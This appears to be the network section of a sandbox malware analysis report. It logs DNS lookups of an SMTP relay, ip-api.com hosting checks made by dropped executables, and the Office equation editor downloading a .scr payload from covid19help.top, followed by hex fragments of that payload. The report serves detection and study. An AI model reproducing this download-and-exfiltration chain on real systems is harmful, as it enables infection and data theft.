Apr 18, 2024 10:25:31.307966948 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.412848949 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:31.412848949 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.412848949 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.412848949 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.412848949 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.518158913 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:31.518158913 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.518158913 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.518158913 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.518158913 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.623239994 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:31.623239994 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.623239994 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.623239994 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.623239994 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.727821112 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:31.727821112 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.727821112 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.727821112 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.727821112 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.140799999 CEST	8.8.8.8	192.168.2.22	0x3b1a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:34.140799999 CEST	8.8.8.8	192.168.2.22	0x3b1a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.140799999 CEST	8.8.8.8	192.168.2.22	0x3b1a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.140799999 CEST	8.8.8.8	192.168.2.22	0x3b1a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.140799999 CEST	8.8.8.8	192.168.2.22	0x3b1a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.247992992 CEST	8.8.8.8	192.168.2.22	0x282f	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:34.247992992 CEST	8.8.8.8	192.168.2.22	0x282f	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.247992992 CEST	8.8.8.8	192.168.2.22	0x282f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.247992992 CEST	8.8.8.8	192.168.2.22	0x282f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.247992992 CEST	8.8.8.8	192.168.2.22	0x282f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.787522078 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:32.787522078 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.787522078 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.787522078 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.787522078 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.892467976 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:32.892467976 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.892467976 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.892467976 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.892467976 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.997035027 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:32.997035027 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.997035027 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.997035027 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.997035027 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.109421015 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:33.109421015 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.109421015 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.109421015 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.109421015 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.213954926 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:33.213954926 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.213954926 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.213954926 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.213954926 CEST	8.8.8.8	192.168.2.22	0xbe8a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.631203890 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:35.631203890 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.631203890 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.631203890 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.631203890 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.735760927 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:35.735760927 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.735760927 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.735760927 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.735760927 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.840533972 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:35.840533972 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.840533972 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.840533972 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.840533972 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.945709944 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:35.945709944 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.945709944 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.945709944 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.945709944 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:36.050945997 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:36.050945997 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:36.050945997 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:36.050945997 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:36.050945997 CEST	8.8.8.8	192.168.2.22	0x9447	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.374011993 CEST	8.8.8.8	192.168.2.22	0xfb95	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:45.374011993 CEST	8.8.8.8	192.168.2.22	0xfb95	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.374011993 CEST	8.8.8.8	192.168.2.22	0xfb95	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.374011993 CEST	8.8.8.8	192.168.2.22	0xfb95	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.374011993 CEST	8.8.8.8	192.168.2.22	0xfb95	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.573041916 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:45.573041916 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.573041916 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.573041916 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.573041916 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.677819967 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:45.677819967 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.677819967 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.677819967 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.677819967 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.782831907 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:45.782831907 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.782831907 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.782831907 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.782831907 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.887547970 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:45.887547970 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.887547970 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.887547970 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.887547970 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.992455959 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:45.992455959 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.992455959 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.992455959 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.992455959 CEST	8.8.8.8	192.168.2.22	0x87f8	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.027340889 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:49.027340889 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.027340889 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.027340889 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.027340889 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.132123947 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:49.132123947 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.132123947 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.132123947 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.132123947 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.237709999 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:26:49.237709999 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.237709999 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.237709999 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.237709999 CEST	8.8.8.8	192.168.2.22	0x7fe0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

covid19help.top

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	208.95.112.1	80	3788	C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 10:24:01.048651934 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 18, 2024 10:24:01.168235064 CEST	174	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 08:24:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	208.95.112.1	80	312	C:\Users\user\AppData\Roaming\egFUHsL.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 10:24:09.311904907 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 18, 2024 10:24:09.429847002 CEST	174	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 08:24:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 51 X-Rl: 43 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	104.21.83.128	443	3308	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
2024-04-18 08:23:54 UTC	321	OUT	GET /JBNvj66BwYU3yCv.scr HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: covid19help.top Connection: Keep-Alive
2024-04-18 08:23:55 UTC	771	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 08:23:55 GMT Content-Type: application/x-silverlight Content-Length: 722440 Connection: close Last-Modified: Wed, 17 Apr 2024 00:51:24 GMT ETag: "b0608-6164041005c18" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t4QMP3CBBT3RZWkOa6h70BZwY6%2FiCa0nsjQeA6VzjPji%2Fp4HniQEpjbTZNJbH5ZKcwHDFSAcPngiY6Sw%2B4q9lp6w1rLcmj%2FOeDxuHKmQu%2BA7imfSeKpY6i1kRlB46qww3fs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 876341676ec053fc-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 08:23:55 UTC	598	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 74 1b 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 b6 0a 00 00 18 00 00 00 00 00 00 ee d5 0a 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELtf @ @
2024-04-18 08:23:55 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 20 86 01 00 00 8d 01 00 00 01 25 d0 5b 00 00 04 28 01 00 00 0a 80 5c 00 00 04 20 7c 02 00 00 8d 01 00 00 01 25 d0 6b 00 00 04 28 01 00 00 0a 80 6c 00 00 04 28 0a 01 00 06 2a d0 01 00 00 06 26 2a 00 00 00 42 02 03 04 20 00 10 00 00 28 03 00 00 06 00 00 2a 00 00 00 13 30 09 00 17 00 00 00 00 00 00 00 02 03 04 1f 2c 1f 22 1f 22 1f 23 17 05 28 07 00 00 06 2b 00 00 00 2a 00 13 30 09 00 1a 00 00 00 00 00 00 00 02 03 04 05 1f 22 1f 22 1f 23 17 20 00 10 00 00 28 07 00 00 06 2b 00 00 00 2a 00 00 13 30 09 00 17 00 00 00 00 00 00 00 02 03 04 05 1f 22 1f 22 1f 23 17 0e 04 28 07 00 00 06 2b 00 00 00 2a 00 13 30 09 00 1b 00 00 00 00 00 00 00 02 03 04 05 0e 04 0e 05 0e 06 0e 07 20 00 10 00 00 28 07 00 00 06 2b 00 00 00 2a 00 13 30 09 00 2b 00 00 00 00 Data Ascii: %[(\ \|%k(l(&B (0,""#(+0""# (+0""#(+0 (+*0+
